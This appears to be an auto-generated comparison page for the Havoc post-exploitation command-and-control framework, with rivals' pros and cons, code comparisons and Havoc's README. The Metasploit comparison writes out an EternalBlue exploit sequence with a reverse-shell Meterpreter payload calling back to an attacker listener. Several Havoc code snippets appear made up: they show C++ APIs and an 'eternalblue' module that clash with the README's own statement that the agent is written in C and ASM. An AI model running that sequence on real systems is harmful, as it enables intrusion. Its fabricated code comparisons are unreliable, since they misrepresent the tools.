Top Related Projects
Adversary Emulation Framework
Covenant is a collaborative .NET C2 framework for red teamers.
Empire is a post-exploitation and adversary emulation framework that is used to aid Red Teams and Penetration Testers.
An asynchronous, collaborative post-exploitation agent powered by Python and .NET's DLR
Merlin is a cross-platform post-exploitation HTTP/2 Command & Control server and agent written in golang.
Metasploit Framework
Quick Overview
Havoc is an advanced command and control (C2) framework designed for red team operations and adversary simulations. It provides a robust platform for managing post-exploitation activities, with a focus on stealth, flexibility, and extensibility.
Pros
- Advanced evasion techniques and OPSEC-safe features
- Highly customizable and extensible architecture
- User-friendly graphical interface for easier operation
- Active development and community support
Cons
- Steep learning curve for beginners
- Limited documentation compared to some other C2 frameworks
- Potential for misuse if not handled responsibly
- Requires significant setup and configuration for optimal performance
Getting Started
To get started with Havoc:
-
Clone the repository:
git clone https://github.com/HavocFramework/Havoc.git
-
Install dependencies:
cd Havoc/Client sudo apt-get install build-essential cmake libssl-dev libfontconfig1-dev libfreetype6-dev libx11-dev libx11-xcb-dev libxext-dev libxfixes-dev libxi-dev libxrender-dev libxcb1-dev libxcb-glx0-dev libxcb-keysyms1-dev libxcb-image0-dev libxcb-shm0-dev libxcb-icccm4-dev libxcb-sync0-dev libxcb-xfixes0-dev libxcb-shape0-dev libxcb-randr0-dev libxcb-render-util0-dev libxcb-util0-dev libxcb-xinerama0-dev libxcb-xkb-dev libxkbcommon-dev libxkbcommon-x11-dev
-
Build the project:
make
-
Run Havoc:
./Havoc
Note: This is a simplified getting started guide. For full setup and usage instructions, refer to the official documentation and follow responsible usage guidelines.
Competitor Comparisons
Adversary Emulation Framework
Pros of Sliver
- Cross-platform support (Windows, macOS, Linux)
- Built-in support for multiple C2 protocols (DNS, HTTP, MTLS)
- Extensive documentation and active community support
Cons of Sliver
- Steeper learning curve for beginners
- Less intuitive GUI compared to Havoc
- Limited built-in post-exploitation modules
Code Comparison
Sliver (Go):
implant, err := sliver.NewImplant(
sliver.WithC2(c2),
sliver.WithOS(runtime.GOOS),
sliver.WithArch(runtime.GOARCH),
)
Havoc (C++):
auto implant = std::make_unique<Havoc::Implant>();
implant->SetC2(c2);
implant->SetOS(Havoc::OS::Windows);
implant->SetArch(Havoc::Arch::x64);
Both frameworks offer powerful features for red team operations, but they cater to different preferences. Sliver provides a more flexible, cross-platform approach with multiple C2 protocols, making it suitable for diverse environments. However, it may require more time to master.
Havoc, on the other hand, offers a more user-friendly interface and focuses primarily on Windows environments. It may be easier for beginners to get started with, but it lacks some of the cross-platform capabilities that Sliver provides.
The code comparison shows that both frameworks use similar concepts for creating implants, but Sliver leverages Go's simplicity, while Havoc utilizes C++'s object-oriented features.
Covenant is a collaborative .NET C2 framework for red teamers.
Pros of Covenant
- Built on .NET Core, offering cross-platform compatibility
- Extensive GUI for easier management and visualization
- Robust task management system with built-in task types
Cons of Covenant
- Less frequent updates compared to Havoc
- Potentially higher resource usage due to .NET Core framework
- More complex setup process for some environments
Code Comparison
Covenant (C#):
public class Grunt : IMessenger
{
public string Name { get; set; }
public GruntStatus Status { get; set; }
public List<TaskResult> TaskResults { get; set; }
}
Havoc (C):
typedef struct _AGENT_CTX
{
BUFFER Send;
BUFFER Config;
BUFFER Receive;
LPVOID Parameter;
} AGENT_CTX, *PAGENT_CTX;
Both frameworks use structured data types to manage agent information, but Covenant's object-oriented approach contrasts with Havoc's C-style structs. Covenant's code is more verbose and type-safe, while Havoc's is more lightweight and closer to the system level.
Havoc focuses on performance and low-level control, making it potentially more suitable for advanced users and specific scenarios. Covenant's higher-level abstractions and GUI may be more accessible for less experienced operators or those preferring visual interfaces.
Empire is a post-exploitation and adversary emulation framework that is used to aid Red Teams and Penetration Testers.
Pros of Empire
- More mature and established project with a larger user base
- Extensive documentation and community support
- Wider range of modules and plugins available
Cons of Empire
- Less active development compared to Havoc
- Older codebase may have more legacy code and technical debt
- Potentially slower performance due to its Python-based architecture
Code Comparison
Empire (Python):
def get_agent_name():
return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
Havoc (C++):
std::string GetAgentName() {
const std::string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
return GenerateRandomString(chars, 8);
}
Summary
Empire is a well-established post-exploitation framework with a large community and extensive features. However, it may suffer from slower development and performance issues. Havoc, being newer and written in C++, potentially offers better performance and more active development but may lack the maturity and extensive module library of Empire. The choice between the two depends on specific requirements and preferences for stability versus cutting-edge features.
An asynchronous, collaborative post-exploitation agent powered by Python and .NET's DLR
Pros of SILENTTRINITY
- Written in Python, making it more accessible for scripting and customization
- Supports a wider range of payload types, including Python and .NET
- Utilizes IronPython for cross-platform compatibility
Cons of SILENTTRINITY
- Less actively maintained, with fewer recent updates
- Smaller community and less extensive documentation
- Limited built-in modules compared to Havoc's extensive feature set
Code Comparison
SILENTTRINITY (Python):
class STModule(STShell):
def __init__(self):
self.name = 'example'
self.description = 'Example module'
self.author = '@byt3bl33d3r'
self.options = {}
Havoc (C++):
class ExampleModule : public Module
{
public:
ExampleModule() : Module("Example", "Description", "Author") {}
void Execute() override {
// Module logic here
}
};
Both frameworks use a modular approach, but Havoc's C++ implementation may offer better performance for certain operations. SILENTTRINITY's Python-based structure allows for easier scripting and rapid development, while Havoc's C++ foundation provides more low-level control and potentially faster execution.
Merlin is a cross-platform post-exploitation HTTP/2 Command & Control server and agent written in golang.
Pros of Merlin
- Written in Go, offering cross-platform compatibility and easy deployment
- Supports multiple protocols (HTTP/1.1, HTTP/2, HTTPS) for C2 communications
- Implements OPAQUE protocol for secure agent authentication
Cons of Merlin
- Less extensive feature set compared to Havoc
- Smaller community and fewer contributors
- Limited GUI options, primarily relies on CLI
Code Comparison
Merlin (Agent initialization):
func New(protocol string, url string, psk []byte) (Agent, error) {
a := Agent{
ID: uuid.NewV4(),
Platform: runtime.GOOS,
Architecture: runtime.GOARCH,
Pid: os.Getpid(),
Version: merlin.Version,
}
// ... (additional initialization)
}
Havoc (Agent configuration):
class AgentConfig
{
public:
std::string AgentID;
std::string Hostname;
std::string Username;
std::string ProcessName;
std::string ProcessPath;
// ... (additional configuration options)
};
Both projects focus on creating flexible and powerful post-exploitation frameworks. Merlin emphasizes cross-platform compatibility and secure communications, while Havoc offers a more comprehensive feature set and graphical interface. The code snippets demonstrate different approaches to agent initialization and configuration, reflecting the languages and design philosophies of each project.
Metasploit Framework
Pros of Metasploit-Framework
- Extensive library of exploits and modules
- Large, active community contributing to development and support
- Well-documented and widely used in the cybersecurity industry
Cons of Metasploit-Framework
- Can be resource-intensive and slower to execute
- More complex to use for beginners
- Detectable by many antivirus solutions due to its popularity
Code Comparison
Metasploit-Framework (Ruby):
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit
Havoc (C++):
Havoc::Session* session = Havoc::CreateSession("192.168.1.100", 4444);
Havoc::Module* module = session->LoadModule("eternalblue");
module->SetOption("RHOST", "192.168.1.100");
module->Execute();
While both frameworks aim to provide penetration testing capabilities, Metasploit-Framework offers a more comprehensive set of tools and a larger community. However, Havoc focuses on being a lighter, more modern alternative with potentially better evasion capabilities. The code examples demonstrate the different approaches to executing exploits, with Metasploit using a more script-like syntax and Havoc utilizing object-oriented programming concepts.
Convert designs to code with AI
Introducing Visual Copilot: A new AI model to turn Figma designs to high quality code using your components.
Try Visual CopilotREADME
Havoc
Havoc is a modern and malleable post-exploitation command and control framework, created by @C5pider.
:warning: Havoc is in an early state of release. Breaking changes may be made to APIs/core structures as the framework matures.
Support
Consider supporting C5pider on Patreon/Github Sponsors. Additional features are planned for supporters in the future, such as custom agents/plugins/commands/etc.
Quick Start
Please see the Wiki for complete documentation.
Havoc works well on Debian 10/11, Ubuntu 20.04/22.04 and Kali Linux. It's recommended to use the latest versions possible to avoid issues. You'll need a modern version of Qt and Python 3.10.x to avoid build issues.
See the Installation docs for instructions. If you run into issues, check the Known Issues page as well as the open/closed Issues list.
Features
Client
Cross-platform UI written in C++ and Qt
- Modern, dark theme based on Dracula
Teamserver
Written in Golang
- Multiplayer
- Payload generation (exe/shellcode/dll)
- HTTP/HTTPS listeners
- Customizable C2 profiles
- External C2
Demon
Havoc's flagship agent written in C and ASM
- Sleep Obfuscation via Ekko, Ziliean or FOLIAGE
- x64 return address spoofing
- Indirect Syscalls for Nt* APIs
- SMB support
- Token vault
- Variety of built-in post-exploitation commands
- Patching Amsi/Etw via Hardware breakpoints
- Proxy library loading
- Stack duplication during sleep.
Extensibility
- External C2
- Custom Agent Support
- Python API
- Modules
Community
You can join the official Havoc Discord to chat with the community!
Contributing
To contribute to the Havoc Framework, please review the guidelines in Contributing.md and then open a pull-request!
Note
Please do not open any issues regarding detection.
The Havoc Framework hasn't been developed to be evasive. Rather it has been designed to be as malleable & modular as possible. Giving the operator the capability to add custom features or modules that evades their targets detection system.
Top Related Projects
Adversary Emulation Framework
Covenant is a collaborative .NET C2 framework for red teamers.
Empire is a post-exploitation and adversary emulation framework that is used to aid Red Teams and Penetration Testers.
An asynchronous, collaborative post-exploitation agent powered by Python and .NET's DLR
Merlin is a cross-platform post-exploitation HTTP/2 Command & Control server and agent written in golang.
Metasploit Framework
Convert designs to code with AI
Introducing Visual Copilot: A new AI model to turn Figma designs to high quality code using your components.
Try Visual Copilot